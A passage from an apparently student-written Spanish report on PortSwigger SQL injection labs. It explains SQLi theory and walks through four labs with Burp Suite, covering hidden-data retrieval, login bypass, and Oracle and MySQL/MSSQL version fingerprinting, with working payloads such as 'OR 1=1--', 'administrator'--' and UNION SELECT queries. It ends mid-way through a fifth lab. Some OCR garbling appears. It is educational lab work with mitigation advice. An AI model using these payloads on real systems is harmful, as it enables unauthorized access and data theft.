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INTRODUCCION

Las aplicaciones web modernas dependen ampliamente de bases de datos para almacenar
y gestionar informacidn critica como credenciales de usuarios, registros de actividad,
informacién financiera y datos operativos de los sistemas. Esta interaccién constante entre
aplicaciones web y bases de datos introduce riesgos de seguridad cuando las entradas del
usuario no son validadas adecuadamente.

Una de las vulnerabilidades mas conocidas y explotadas en aplicaciones web es SQL
Injection (SQLi). Este tipo de ataque ocurre cuando una aplicacién permite que datos
introducidos por el usuario se incorporen directamente dentro de consultas SQL ejecutadas
por el servidor de bases de datos. Como resultado, un atacante puede manipular la consulta
original y modificar su comportamiento, permitiendo el acceso no autorizado a informacién
sensible o incluso el control completo del sistema.

Debido a su alto impacto en la seguridad de las aplicaciones web, SQL Injection ha sido
identificada histéricamente como una de las vulnerabilidades mas criticas dentro del
OWASP Top 10, una referencia internacional que identifica los riesgos de seguridad mas
importantes en aplicaciones web.

El presente trabajo tiene como objetivo documentar la explotacién controlada de
vulnerabilidades de SQL Injection utilizando los laboratorios oficiales de PortSwigger Web
Security Academy. A través de estos laboratorios se analizaran diferentes tipos de ataques
SQL Injection y se empleard Burp Suite como herramienta principal para interceptar,
analizar y modificar peticiones HTTP.

La actividad busca desarrollar una comprensidon técnica del funcionamiento de estas
vulnerabilidades, asi como analizar suimpacto en la seguridad de los sistemas y las medidas
de mitigacién necesarias para prevenirlas en entornos reales.



MARCO TEORICO

Funcionamiento de las bases de datos relacionales
Las bases de datos relacionales son sistemas disefiados para almacenar, organizar y
gestionar informacion mediante estructuras llamadas tablas, las cuales estdn compuestas
por filas (registros) y columnas (atributos). Cada tabla representa una entidad dentro del
sistema, como usuarios, productos o transacciones, mientras que cada fila representa un
registro especifico dentro de esa entidad.
Las bases de datos relacionales utilizan un modelo basado en relaciones entre tablas, lo que
permite organizar la informacién de forma estructurada y eficiente. Estas relaciones se
establecen mediante claves primarias (Primary Keys) y claves foraneas (Foreign Keys).
Entre los sistemas de gestion de bases de datos relacionales mas utilizados se encuentran:
e MysQL
e PostgreSQL
Oracle Database
e Microsoft SQL Server
Las aplicaciones web interactian con estas bases de datos mediante consultas realizadas
utilizando el lenguaje SQL (Structured Query Language).

Consultas SQL basicas

SQL es un lenguaje disefiado para interactuar con bases de datos relacionales. Permite
realizar operaciones de lectura, insercidon, modificacién y eliminacién de datos.

Las consultas SQL mas utilizadas en aplicaciones web incluyen:

SELECT

La instruccion SELECT permite recuperar informacién almacenada en una base de datos.
Ejemplo:

SELECT * FROM users;

Esta consulta recupera todos los registros almacenados en la tabla users.

WHERE

La cldusula WHERE permite aplicar condiciones para filtrar los resultados de una consulta.
Ejemplo:

SELECT * FROM users WHERE username = 'admin’;

En este caso, la consulta devuelve Unicamente los registros cuyo nombre de usuario sea
“admin”.

UNION

La instruccién UNION permite combinar los resultados de dos o mas consultas SQL dentro
de un mismo resultado.

Ejemplo:

SELECT username FROM users

UNION

SELECT email FROM users;

Esta instruccion es frecuentemente explotada en ataques de SQL Injection para recuperar
informacién de otras tablas dentro de la base de datos.



¢Qué es SQL Injection?

SQL Injection (SQLi) es una vulnerabilidad de seguridad que ocurre cuando una aplicacién
web permite que datos proporcionados por el usuario sean incluidos directamente dentro
de una consulta SQL sin una validacién adecuada.

Cuando esto ocurre, un atacante puede insertar instrucciones SQL maliciosas que modifican
el comportamiento de la consulta original ejecutada por la base de datos.

Por ejemplo, una consulta de autenticacién vulnerable puede tener la siguiente forma:
SELECT * FROM users WHERE username = 'usuario' AND password = 'password’;

Si un atacante introduce el siguiente valor en el campo de usuario:

"OR 1=1--

La consulta resultante se convierte en:

SELECT * FROM users WHERE username =" OR 1=1--' AND password =";

La condicidn 1=1 siempre es verdadera, lo que provoca que la consulta devuelva todos los
registros de la tabla, permitiendo al atacante evadir el sistema de autenticacion.

Clasificacion de ataques SQL Injection

Los ataques SQL Injection pueden clasificarse en diferentes categorias dependiendo de la
forma en que el atacante obtiene informacion del sistema.

In-band SQL Injection

Este tipo de ataque ocurre cuando el atacante puede obtener directamente los resultados
de la base de datos dentro de la respuesta de la aplicacion web.

Union-based SQL Injection

Este ataque utiliza la instruccién UNION para combinar la consulta original con otra consulta
controlada por el atacante, permitiendo recuperar informacién adicional de la base de
datos.

Ejemplo:

" UNION SELECT username,password FROM users--

Este tipo de ataque permite extraer informacién directamente desde tablas sensibles.
Error-based SQL Injection

En este tipo de ataque el atacante provoca errores en la base de datos para obtener
informacion sobre la estructura del sistema, como nombres de tablas, columnas o versiones
del motor de base de datos.

Los mensajes de error pueden revelar informacidn critica que facilita ataques posteriores.
Blind SQL Injection

En algunos casos la aplicacién no muestra mensajes de error ni devuelve directamente los
resultados de la base de datos. En estos casos se utiliza Blind SQL Injection, donde el
atacante infiere informacion a partir del comportamiento del sistema.

Boolean-based SQL Injection

En este tipo de ataque el atacante envia consultas que generan respuestas diferentes
dependiendo de si una condicién es verdadera o falsa.

Por ejemplo:

"AND 1=1--

Si la aplicacién responde normalmente, la condicién es verdadera.

"AND 1=2--



Si la respuesta cambia, se confirma que el parametro es vulnerable.

Time-based SQL Injection

Este ataque utiliza funciones que generan retrasos en la respuesta del servidor para inferir
informacioén.

Ejemplo:

"OR IF(1=1,SLEEP(5),0)--

Si el servidor tarda en responder, el atacante puede deducir que la condicién evaluada es
verdadera.

Out-of-band SQL Injection

Este tipo de ataque se utiliza cuando el atacante no puede obtener informacidn
directamente en la respuesta de la aplicacion. En su lugar, se utilizan canales externos como
solicitudes DNS o HTTP para exfiltrar datos desde el servidor.

Este tipo de ataque es menos comun pero puede ser utilizado en sistemas donde las
respuestas de la base de datos no son visibles para el atacante.

Impacto en la seguridad (Confidencialidad, Integridad y
Disponibilidad)

Las vulnerabilidades de SQL Injection pueden afectar los tres pilares fundamentales de la
seguridad de la informacion:

Confidencialidad

Un atacante puede acceder a informacidn sensible almacenada en la base de datos, como
credenciales de usuarios, datos personales o informacién financiera.

Integridad

Un atacante podria modificar o eliminar registros dentro de la base de datos, alterando
informacién critica del sistema.

Disponibilidad

En algunos casos, los ataques pueden provocar interrupciones del servicio o la eliminacién
de datos importantes, afectando la disponibilidad del sistema.

SQL Injection y OWASP Top 10

El proyecto OWASP (Open Web Application Security Project) identifica las vulnerabilidades
mas criticas que afectan a las aplicaciones web. SQL Injection ha sido histéricamente una
de las principales amenazas debido a su facilidad de explotacién y su alto impacto en los
sistemas afectados.

Dentro del OWASP Top 10, las vulnerabilidades relacionadas con inyeccién de cdédigo se
encuentran incluidas en la categoria Injection, la cual agrupa diferentes tipos de ataques
donde datos no confiables son enviados a un intérprete como parte de un comando o
consulta.

Importancia de SQL Injection en pruebas de penetracion
Las pruebas de penetracion (pentesting) son evaluaciones de seguridad disefiadas para
identificar vulnerabilidades antes de que puedan ser explotadas por atacantes reales. SQL



Injection es una de las pruebas mas comunes en auditorias de seguridad web debido a su
frecuencia y gravedad.

Durante un pentest, los especialistas en seguridad utilizan herramientas como Burp Suite
para interceptar peticiones HTTP, analizar pardmetros vulnerables y probar diferentes
payloads que permitan identificar posibles vulnerabilidades de inyeccién.

El objetivo es detectar estas debilidades antes de que puedan comprometer la seguridad
del sistema.

Tipos de payloads utilizados en SQL Injection

Los payloads utilizados en SQL Injection dependen del objetivo del ataque. Algunos de los
mas comunes incluyen:

Payloads de bypass de autenticacion

"OR 1=1--

Permiten evadir sistemas de autenticacion.

Payloads de enumeracién de bases de datos

Permiten identificar tablas, columnas o versiones del motor de base de datos.
Payloads UNION

Permiten extraer informacién de otras tablas dentro de la base de datos.
Payloads boolean-based

Permiten inferir informacion mediante respuestas verdaderas o falsas.
Payloads time-based

Permiten obtener informacion mediante retrasos en la respuesta del servidor.

Principios de defensa contra SQL Injection

Para prevenir vulnerabilidades de SQL Injection es necesario implementar practicas de
desarrollo seguro. Algunas de las mas importantes incluyen:

Uso de consultas parametrizadas

Las consultas parametrizadas separan los datos de las instrucciones SQL, evitando que el
cddigo malicioso sea interpretado como parte de la consulta.

Validacidn y sanitizacion de entradas

Todas las entradas proporcionadas por el usuario deben ser validadas vy filtradas antes de
ser utilizadas por la aplicacion.

Uso de ORM seguros

Los frameworks modernos utilizan Object Relational Mapping (ORM) para evitar la
construccion manual de consultas SQL vulnerables.

Principio de minimo privilegio

Las cuentas de base de datos utilizadas por la aplicacion deben tener Unicamente los
permisos necesarios para su funcionamiento.

Manejo adecuado de errores

Las aplicaciones no deben mostrar mensajes de error detallados de la base de datos, ya que
estos pueden revelar informacién sensible a los atacantes.



LABORATORIO 1

Nombre del laboratorio: SQL injection vulnerability in WHERE clause allowing retrieval of
hidden data
Nivel: Apprentice

Tipo de ataque: SQL Injection — Union-based / Boolean-based (Manipulacién de la cldusula
WHERE)

1. OBJETIVO DEL LABORATORIO

El objetivo de este laboratorio es explotar una vulnerabilidad de SQL Injection presente en
el filtro de categorias de productos de una aplicacion web.

Mediante la manipulacién del parametro category, se busca alterar la consulta SQL que
ejecuta el servidor para que muestre productos ocultos o no publicados, demostrando
como un atacante puede acceder a informacién que no deberia estar disponible para los
usuarios.

2. CONTEXTO TECNICO

La aplicaciéon web permite a los usuarios filtrar productos por categoria. Cuando un usuario
selecciona una categoria, el servidor ejecuta una consulta SQL similar a la siguiente:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1
Esta consulta significa que el sistema solo mostrara productos que:

e pertenezcan a la categoria seleccionada
e tengan el atributo released = 1 (productos publicados)

Sin embargo, el pardametro category no valida correctamente la entrada del usuario.

Si un atacante introduce cddigo SQL dentro de este parametro, puede modificar la légica
de la consulta y forzar al servidor a devolver informacion que normalmente estaria oculta.



3. IDENTIFICACION DE LA VULNERABILIDAD

La vulnerabilidad se identificd al observar que el parametro category era enviado al servidor
dentro de una consulta SQL.

Al interceptar la peticion HTTP con Burp Suite, fue posible modificar manualmente el valor
del parametro y probar si la aplicacion era vulnerable a SQL Injection.

Al introducir un payload SQL en el parametro, la aplicacion mostré resultados adicionales
gue normalmente no deberian aparecer, lo que confirmé que la consulta SQL estaba siendo
manipulada.

4. HERRAMIENTAS UTILIZADAS

Herramientas utilizadas durante el laboratorio:

e Burp Suite
e Navegador web
e PortSwigger Web Security Academy

Uso de Burp Suite:

Burp Suite se utilizd para interceptar las peticiones HTTP enviadas al servidor mediante el
Proxy. Esto permitié modificar el pardmetro category manualmente e insertar payloads de
SQL Injection para probar la vulnerabilidad.

5. PROCEDIMIENTO PASO A PASO

1. Se accedio al laboratorio desde la plataforma PortSwigger Web Security Academy.

2. Se abrid la aplicacion vulnerable en el navegador y se observé el filtro de categorias
de productos.

3. Se configurd Burp Suite Proxy para interceptar las peticiones HTTP.

Se selecciond una categoria de productos en la aplicacion para generar una solicitud

HTTP.

Burp Suite interceptd la peticién enviada al servidor.

Se identifico el parametro vulnerable category dentro de la solicitud.

Se modifico el valor del pardmetro agregando un payload de SQL Injection.

Se envié la peticién modificada al servidor.

Se analizé la respuesta del servidor.

b
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10. La aplicacién comenzd a mostrar productos no publicados, lo que confirmé la

explotacion de la vulnerabilidad.

11. Finalmente, el laboratorio fue marcado como Lab Solved.

6. PAYLOAD UTILIZADO

'+OR+1=1--

7. EXPLICACION DEL PAYLOAD

El payload utilizado fue:

'+OR+1=1--

Este payload realiza las siguientes acciones:

Cierra la cadena original utilizada en la consulta SQL.
e OR
Agrega una condicion légica que siempre es verdadera.

Comenta el resto de la consulta SQL original.

La consulta SQL resultante se interpreta aproximadamente asi:

SELECT * FROM products WHERE category = '' OR 1=1-- AND released

1=1

1

Debido a que 1=1 siempre es verdadero, la condicién completa del WHERE se cumple para

todos los registros de la tabla.

Esto provoca que el servidor devuelva todos los productos, incluidos aquellos que no han

sido publicados (released = 0).

8. RESULTADO DEL ATAQUE

Después de enviar la solicitud modificada, la aplicacion comenzé a mostrar productos que

no estaban publicados originalmente.



Esto confirmdé que el atacante pudo manipular la consulta SQL y recuperar informacion
oculta de la base de datos.

Una vez completado el proceso, la plataforma marcé el laboratorio como Lab Solved.
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10. IMPACTO DE LA VULNERABILIDAD

Si esta vulnerabilidad existiera en un sistema real, podria permitir:

e Acceso a informacién que deberia permanecer oculta
e Exposicion de productos o datos no publicados

e Acceso a informacidn sensible de la base de datos

e Manipulacién de consultas SQL por parte de atacantes
e Compromiso parcial o total de la base de datos

Este tipo de vulnerabilidad puede ser utilizado como punto de partida para ataques mas
avanzados.



11. MITIGACION

Para prevenir vulnerabilidades de SQL Injection, se recomienda implementar las siguientes
medidas:

e Uso de Prepared Statements

e Uso de consultas parametrizadas

e Validacidn estricta de entradas del usuario

e Sanitizacion de datos antes de enviarlos a la base de datos
e Uso de ORM seguros

e Aplicar el principio de minimo privilegio en la base de datos

Estas practicas ayudan a evitar que los datos introducidos por el usuario sean interpretados
como cédigo SQL.

12. CONCLUSION DEL LABORATORIO

Este laboratorio permitio comprender cémo una entrada de usuario no validada puede
permitir la manipulacién de consultas SQL en una aplicacién web.

Mediante el uso de un simple payload de SQL Injection, fue posible alterar la logica de la
consulta y recuperar informacion oculta de la base de datos.

Esto demuestra la importancia de implementar consultas parametrizadas y mecanismos
adecuados de validacion de entradas, ya que la falta de estas medidas puede comprometer
seriamente la seguridad de un sistema.



LABORATORIO 2

Nombre del laboratorio: SQL injection vulnerability allowing login bypass
Nivel: Apprentice
Tipo de ataque: SQL Injection — Login Bypass

1. OBJETIVO DEL LABORATORIO

El objetivo de este laboratorio es explotar una vulnerabilidad de SQL Injection en la funcidn
de inicio de sesion de una aplicacion web.

Mediante la manipulacidn del parametro username, se busca alterar la consulta SQL que
valida las credenciales del usuario para evadir el mecanismo de autenticacion e iniciar
sesidn como el usuario administrator sin conocer la contrasefia.

2. CONTEXTO TECNICO

La aplicacién web cuenta con un formulario de inicio de sesién donde el usuario introduce
su nombre de usuario y contraseiia.

Cuando se envian estas credenciales, el servidor ejecuta una consulta SQL similar a la
siguiente:

SELECT * FROM users WHERE username = 'input' AND password = 'input'

El problema ocurre cuando la aplicacién no valida ni sanitiza correctamente los datos
introducidos por el usuario.

Si un atacante introduce cédigo SQL dentro del campo username, puede modificar la
consulta SQL original y cambiar su comportamiento.

Esto permite manipular la légica de autenticacion y obtener acceso sin proporcionar
credenciales vdlidas.

3. IDENTIFICACION DE LA VULNERABILIDAD

La vulnerabilidad se identificd al analizar la solicitud de inicio de sesidon enviada al servidor.

Mediante el uso de Burp Suite, se interceptd la peticion HTTP generada por el formulario
de login.



Al modificar manualmente el valor del parametro username, se comprobé que la aplicacién
no validaba correctamente la entrada del usuario, lo que permitid inyectar cddigo SQL
dentro de la consulta ejecutada por el servidor.

Esto confirmd que la aplicacion era vulnerable a SQL Injection en el proceso de
autenticacion.

4. HERRAMIENTAS UTILIZADAS

Herramientas empleadas durante el laboratorio:

e Burp Suite
e Navegador web
e PortSwigger Web Security Academy

Uso de Burp Suite:

Burp Suite se utilizé para interceptar la solicitud HTTP enviada durante el proceso de inicio
de sesion. Esto permitié modificar el pardmetro username e insertar un payload de SQL
Injection para probar la vulnerabilidad.

5. PROCEDIMIENTO PASO A PASO

Se accedié al laboratorio desde la plataforma PortSwigger Web Security Academy.
Se abrio la pagina de inicio de sesidn de la aplicacién vulnerable.

Se configurd Burp Suite Proxy para interceptar las peticiones HTTP.

Se introdujeron credenciales de prueba en el formulario de login.

Burp Suite intercepté la solicitud HTTP enviada al servidor.

Se identificaron los pardametros username y password dentro de la peticion.

Se modificé el parametro username agregando un payload de SQL Injection.

Se envid la solicitud modificada al servidor.

El servidor procesd la consulta SQL alterada.

10 La aplicacidn permitid iniciar sesién como administrator sin requerir la contrasefia.
11. El laboratorio fue marcado como Lab Solved.

©oONOU A WN R

6. PAYLOAD UTILIZADO

administrator'—



7. EXPLICACION DEL PAYLOAD

El payload utilizado fue:

administrator'--
Este payload funciona de la siguiente manera:

e administrator
Indica el nombre del usuario al que se desea acceder.

Cierra la cadena original de la consulta SQL.

Es un comentario en SQL que hace que el resto de la consulta sea ignorado.
La consulta SQL original podria verse asi:
SELECT * FROM users WHERE username = 'administrator' AND password = 'input’
Después de aplicar el payload, la consulta se interpreta aproximadamente asi:
SELECT * FROM users WHERE username = 'administrator'-- AND password = 'input'

El simbolo -- comenta la parte que verifica la contraseiia, lo que provoca que el servidor
solo valide el nombre de usuario y omita la verificacion del password.

Esto permite iniciar sesion como administrator sin conocer la contraseiia.

8. RESULTADO DEL ATAQUE

Después de enviar la solicitud modificada con el payload de SQL Injection, el sistema
permitié iniciar sesion exitosamente como el usuario administrator.

Esto confirmdé que la vulnerabilidad de SQL Injection en el sistema de autenticacién fue
explotada correctamente.

Finalmente, la plataforma marcé el laboratorio como Lab Solved.

9. EVIDENCIA:
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10. IMPACTO DE LA VULNERABILIDAD

Si esta vulnerabilidad existiera en un sistema real, podria permitir:

e Acceso no autorizado a cuentas de usuarios
e Acceso a cuentas administrativas

e Robo de informacion sensible

e Manipulacion o eliminacién de datos

e Compromiso total del sistema

El login bypass es una de las vulnerabilidades mas criticas porque permite a un atacante
obtener acceso directo al sistema.

11. MITIGACION

Para prevenir vulnerabilidades de SQL Injection en sistemas de autenticacién, se
recomienda implementar las siguientes medidas:

e Uso de Prepared Statements

e Uso de consultas parametrizadas

e Validacion y sanitizacion de entradas del usuario

e Uso de ORM seguros

e Implementar mecanismos de autenticacion seguros

e Aplicar el principio de minimo privilegio en la base de datos



Estas medidas ayudan a evitar que los datos introducidos por el usuario sean interpretados
como cédigo SQL.

12. CONCLUSION DEL LABORATORIO

Este laboratorio permitié comprender cdmo una validacién incorrecta de las entradas del
usuario puede permitir a un atacante manipular consultas SQL y evadir el sistema de
autenticacion.

Mediante un simple payload de SQL Injection fue posible iniciar sesion como administrator
sin conocer la contraseia, demostrando el riesgo que representa esta vulnerabilidad.

La implementacion de consultas parametrizadas y controles adecuados de validacién es
fundamental para proteger las aplicaciones web contra ataques de SQL Injection.



LABORATORIO 3

Nombre del laboratorio: SQL injection attack, querying the database type and version on
Oracle

Nivel: Practitioner

Tipo de ataque: Union Based

1. OBJETIVO DEL LABORATORIO

El objetivo es explotar una vulnerabilidad de SQL Injection (SQLi) para extraer y visualizar
la cadena de texto que indica la versidn especifica de la base de datos Oracle que corre en
el servidor.

2. CONTEXTO TECNICO

Para la solucion de este laboratorio se deben considerar 3 puntos:

A. La técnica: UNION-based SQLi
El ataque utiliza el operador UNION. Este permite combinar los resultados de la consulta
original (la que busca productos por categoria) con los resultados de una nueva consulta
maliciosa inyectada.
Para que un atague UNION funcione, debes cumplir dos reglas:
e Mismo numero de columnas: La consulta inyectada debe tener el mismo numero
de columnas que la consulta original.
o Tipos de datos compatibles: Las columnas seleccionadas para mostrar la versién
deben aceptar datos de tipo cadena (string/char).

B. Particularidad de Oracle: La clausula FROM obligatoria
A diferencia de bases de datos como MySQL o PostgreSQL, donde puedes hacer un SELECT
'dato’, Oracle exige que toda sentencia SELECT tenga una tabla de origen (FROM table).
e Alintentar seleccionar un dato que no pertenece a una tabla real (como un texto
fijo o una funcidén), debes usar la tabla integrada llamada dual.
e Ejemplo: UNION SELECT 'abc' FROM dual.

C. Extraccidn de la versidn en Oracle
En Oracle, la informacién sobre la versidén del software se almacena en vistas de sistema.
Las mas comunes son:
e vSversion
e product_component_version
Normalmente, se busca la columna BANNER o VERSION dentro de estas tablas.



3. IDENTIFICACION DE LA VULNERABILIDAD

La vulnerabilidad fue identificada al momento de intentar la inyeccién de SQL dentro de la
barra de busqueda.

Mediante Burpsuite se logré hacer prueba y error para identificar el tipo de datos que se
tienen dentro de la columna de la seccidn seleccionada. Después de esto, se hizo uso de
comandos para obtener la versidn de la base de datos.

4. HERRAMIENTAS UTILIZADAS

Herramientas empleadas durante el laboratorio:

e Burp Suite
e Navegador web
e Plataforma PortSwigger Web Security Academy

Burp Suite se utilizo para interceptar las peticiones HTTP enviadas al servidor, permitiendo
modificar los parametros y probar diferentes payloads de SQL Injection.

5. PROCEDIMIENTO PASO A PASO

1. Primero vamos a comprobar que podemos hacer una inyeccién de SQL agregando
‘order by 1 - - al final de la query en la barra de busqueda

2. Ahora vamos a acceder a Burpsuite para ver los detalles de |la query. Enviamos la
request al repeater para ver los detalles de esta.

3. Lo mandamos con la codificacion correcta para ver si nos da una respuesta
adecuada, y de esta forma vamos cambiando el nimero del order by para ver
cuantas columnas tiene la tabla, obtenemos que tiene 2 columnas.

4. Ahoravamos a hacer uso de union select para ver qué tipo de contenido tiene
cada una de las columnas, en este caso ambas son cadenas

5. Para obtener la version de la base de datos vamos a usar UNION SELECT banner,
NULL FROM vSversion y lo codificamos en URL. Al mandar lo que recibimos a
nuestro browser podemos ver la version de nuestra base de datos.



areas of your life. We love every project we work on, so don't delay, give us a call today.
NLSRTL Version 11.2.0.2.0 - Production

Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
PL/SQL Release 11.2.0.2.0 - Production

Snow Delivered To Your Door

By Steam Train Direct From The North Pole We can deliver you the perfect Christmas gift of all. Imagine waking up to that white Christmas you have been
dreaming of since you were a child. Your snow will be loaded on to our exclusive snow train and transported across the globe in time for the hig day. In a few
simple steps, your snow will be ready to scatter in the areas of your choosing. *Make sure you have an extra large freezer before delivery. *Decant the liquid into
small plastic tubs (there is some loss of molecular structure during transit). *Allow 3 days for it to refreeze.*Chip away at each block until the ice resembles
snowflakes. *Scatter snow. Yes! It really is that easy. You will be the envy of all your neighbors unless you let them in on the secret. We offer a 10% discount on
future purchases for every referral we receive from you. Snow isn't just for Christmas either, we deliver all year round, that's 365 days of the year. Remember to
order before your existing snow melts, and allow 3 days to prepare the new baich to avoid disappointment.

TNS for Linux: Version 11.2.0.2.0 - Production

6. PAYLOAD UTILIZADO

‘UNION SELECT banner, NULL FROM vS$version--

7. EXPLICACION DEL PAYLOAD

Este payload es un ataque de UNION-based SQL Injection disefado especificamente para
bases de datos Oracle. Su objetivo es engafiar a la base de datos para que devuelva
informacién interna (la versién del software) en lugar de los datos que normalmente
mostraria la pagina.
Componente Funcion Técnica
" | Cierra la entrada de datos legitima para inyectar la consulta

UNION | Une los resultados de la consulta original (por ejemplo, una lista de
productos) con los resultados de tu consulta inyectada.

SELECT | Solicita la columna banner (que contiene la versién en Oracle) y un valor
banner, NULL | NULL para completar el nimero de columnas requerido por la consulta
original.

FROM | En Oracle, esta es una tabla o vista del sistema que almacena los
vSversion | detalles de la versién del software.
-- | Anula el resto de la consulta original del programador, evitando errores
de sintaxis al procesar el payload.

8. RESULTADO DEL ATAQUE

Después de enviar la solicitud modificada con el payload de SQL Injection, el sistema
permitié obtener de manera exitosa la informacion de version de la base de datos.

Esto confirmd que la vulnerabilidad de SQL Injection en el sistema de querys fue explotada
correctamente.




9. EVIDENCIAS

O 8 web-sécurity-Scadergnet

LAB | Solved Vs

Websecurity SQL injection attack, querying the database type and version on
Oracl
Academy/|<]
Back to lab description

Congratulations, you solved the lab! Shareyourskills! 8 [  Continue leaming »

Home

WE LIKE TO

SHOP ~<

Gifts' UNION SELECT banner, NULL FROM v$version--

Refine your search:

Al Clothing, shoes and accessories Corporate gifts Food & Drink  Gifts  Lifestyle

CORE 11.2.0.2.0 Production

10. IMPACTO DE LA VULNERABILIDAD
Si esta vulnerabilidad existiera en un sistema real, podria permitir:

e Acceso a informacion en la base de datos
e Acceso a credenciales de usuarios

e Robo de informacidn sensible

e Manipulacion o eliminacién de datos

e Exfiltracion de datos

11. MITIGACION

Para mitigar ataques de inyeccion SQL en una barra de busqueda, la medida mas efectiva
es utilizar consultas preparadas (sentencias parametrizadas).

e Consultas Preparadas (Sentencias Preparadas)

e Validacién y Saneamiento de Entradas:

o Validacidén: Asegurar que la entrada coincida con el tipo, longitud y formato
esperado (ej. solo niUmeros, sin caracteres especiales).

o Saneamiento (Escapado): Limpiar caracteres especiales como comillas
simples ('), guiones (--), y puntos y coma (;) antes de la consulta. Funciones
como real_escape_string() en PHP pueden ser utiles.

e Principio de Minimo Privilegio



e Uso de ORMs: Utilizar ORMs (Object-Relational Mappers) que suelen parametrizar
consultas automaticamente.

e WAF (Web Application Firewall): Implementar un WAF para detectar y bloquear
intentos de inyeccion antes de que lleguen a la aplicacion.

12. CONCLUSION DEL LABORATORIO

El laboratorio demuestra que una vulnerabilidad de inyeccién SQL no solo sirve para robar
datos de usuarios, sino para realizar un "fingerprinting" completo del sistema al extraer la
versién del software mediante vistas especificas como vSversion.

La capacidad de mostrar la cadena de versién confirma que un atacante tiene control
suficiente sobre las consultas para comprometer la confidencialidad total de la base de
datos si no se aplican medidas de mitigacién como consultas parametrizadas.



LABORATORIO 4

Nombre del laboratorio: SQL injection attack, querying the database type and version on
MySQL and Microsoft

Nivel: Practitioner

Tipo de ataque: Union Based

1. OBJETIVO DEL LABORATORIO

El objetivo es explotar una vulnerabilidad de SQL Injection (SQLi) para extraer y visualizar la
cadena de texto que indica la versién especifica de la base de datos MySQL y de Microsoft
que corre en el servidor.

2. CONTEXTO TECNICO

A diferencia de Oracle, trabajar con MySQL o Microsoft SQL Server (MSSQL) presenta
estas particularidades:
e Sin tabla obligatoria: En estos sistemas, no necesitas la clausula FROM dual. Se
puede ejecutar un SELECT de una constante o variable directamente.
e Comentarios: La forma de anular el resto de la consulta original varia:
o En MSSQL, se usa -- (doble guion).
o En MySQL, se usa # o -- (con un espacio al final).
e Laversion: En ambos sistemas, la forma estandar de obtener la versién es
mediante la variable global @ @version.

3. IDENTIFICACION DE LA VULNERABILIDAD

La vulnerabilidad fue identificada al momento de intentar la inyeccién de SQL dentro de la
barra de busqueda.

Mediante Burpsuite se logré hacer prueba y error para identificar el tipo de datos que se
tienen dentro de la columna de la seccidén seleccionada. Después de esto, se hizo uso de
comandos para obtener la versidn de la base de datos.

4. HERRAMIENTAS UTILIZADAS

Herramientas empleadas durante el laboratorio:

e Burp Suite
e Navegador web
e Plataforma PortSwigger Web Security Academy



Burp Suite se utilizé para interceptar las peticiones HTTP enviadas al servidor, permitiendo
modificar los parametros y probar diferentes payloads de SQL Injection.

5. PROCEDIMIENTO PASO A PASO

1. Primero debemos obtener el nimero de columnas que hay en nuestra tabla. Para
esto vamos a inyectar un order by dentro de Burp para definir la cantidad de
columnas que tenemos.

2. Vamos a hacer una inyeccion con ‘order by 1 # y vamos subiendo el numero hasta
que nos marque error. En este caso, las query que inyectamos nos regresa
informacion suficiente para saber que la tabla tiene 2 columnas.

3. Ahora vamos a intentar hacer un UNION SELECT ‘test’, ‘test’ para confirmar que
ambas columnas son cadenas

4. Como se trata de una base de datos de Microsoft, vamos a usar el comando
UNION SELECT @@version, NULL # y lo vamos a codificar en HTML para
mandarlo por el codificador.

6. PAYLOAD UTILIZADO

‘UNION SELECT @@version, NULL #

7. EXPLICACION DEL PAYLOAD

Este payload es una variante del ataque UNION-based SQL Injection, pero con un cambio
de "objetivo": estd disefiado especificamente para bases de datos Microsoft SQL Server
(MSsQL) o MySsQL.

Componente Funcion Técnica
| Cierra la consulta legitima para poder "inyectar" la tuya.
UNION | Pide al motor de la base de datos que combine los resultados legitimos
SELECT | con los tuyos.
@@version | En MSSQL y MySQL, esta es una variable global que contiene el nombre,

la arquitectura y la versiéon del software de la base de datos.
NULL | Se usa para que el niumero total de columnas (2 en este caso) coincida
con la consulta original del desarrollador.
# | Indica al motor que ignore todo lo que sigue. En MSSQL se usaria --,
pero en MySQL el # es el estandar para anular el resto de la linea.

8. RESULTADO DEL ATAQUE



Después de enviar la solicitud modificada con el payload de SQL Injection, el sistema
permitié obtener de manera exitosa la informacién de version de la base de datos.

Esto confirmd que la vulnerabilidad de SQL Injection en el sistema de querys fue explotada
correctamente.

9. EVIDENCIAS
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10. IMPACTO DE LA VULNERABILIDAD

Si esta vulnerabilidad existiera en un sistema real, podria permitir:

e Acceso a informacion en la base de datos
e Acceso a credenciales de usuarios

e Robo de informacidn sensible

e Manipulacién o eliminacion de datos

e Exfiltracion de datos

11. MITIGACION

Para mitigar ataques de inyeccién SQL en una barra de busqueda, la medida mas efectiva
es utilizar consultas preparadas (sentencias parametrizadas).



e Consultas Preparadas (Sentencias Preparadas)
e Validacion y Saneamiento de Entradas:

o Validaciéon: Asegurar que la entrada coincida con el tipo, longitud y formato
esperado (e]. solo numeros, sin caracteres especiales).

o Saneamiento (Escapado): Limpiar caracteres especiales como comillas
simples ('), guiones (--), y puntos y coma (;) antes de la consulta. Funciones
como real_escape_string() en PHP pueden ser utiles.

e Principio de Minimo Privilegio
e Uso de ORMs: Utilizar ORMs (Object-Relational Mappers) que suelen parametrizar
consultas automaticamente.

12. CONCLUSION DEL LABORATORIO

El éxito de la inyeccidn radica en reconocer que, a diferencia de Oracle, MySQL y MSSQL
permiten consultas mas directas sin necesidad de tablas duales (como FROM dual), lo que
simplifica la estructura del payload. Este laboratorio demuestra que en estos sistemas se
puede extraer informacion critica, como la versién del software, utilizando variables
globales especificas como @ @version, las cuales se inyectan directamente tras el operador
UNION.

Finalmente, |la extraccién de la cadena de versidon no es solo un ejercicio académico; permite
a un atacante identificar vulnerabilidades conocidas (CVEs) especificas para esa version del
motor, facilitando ataques posteriores mas complejos.



LABORATORIO 5

Nombre del laboratorio: SQL injection attack, listing the database contents on non-Oracle
databases

Nivel: Practitioner

Tipo de ataque: Union Based

1. OBJETIVO DEL LABORATORIO

El objetivo es explotar una vulnerabilidad de SQL Injection (SQLi) mediante la técnica de
UNION attack en una base de datos no-Oracle (como MySQL, PostgreSQL o MSSQL) para:

e Enumerar la estructura: Identificar el nombre de la tabla que contiene credenciales
y los nombres de sus columnas.
o Exfiltrar datos: Extraer todos los nombres de usuario y contrasefias de dicha tabla.

2. CONTEXTO TECNICO

Para la elaboracion de este laboratorio, se debe tener dominio en tres conceptos del
ataque UNION:
A. El Ataque UNION
Esta técnica permite adjuntar los resultados de tu propia consulta a los resultados de la
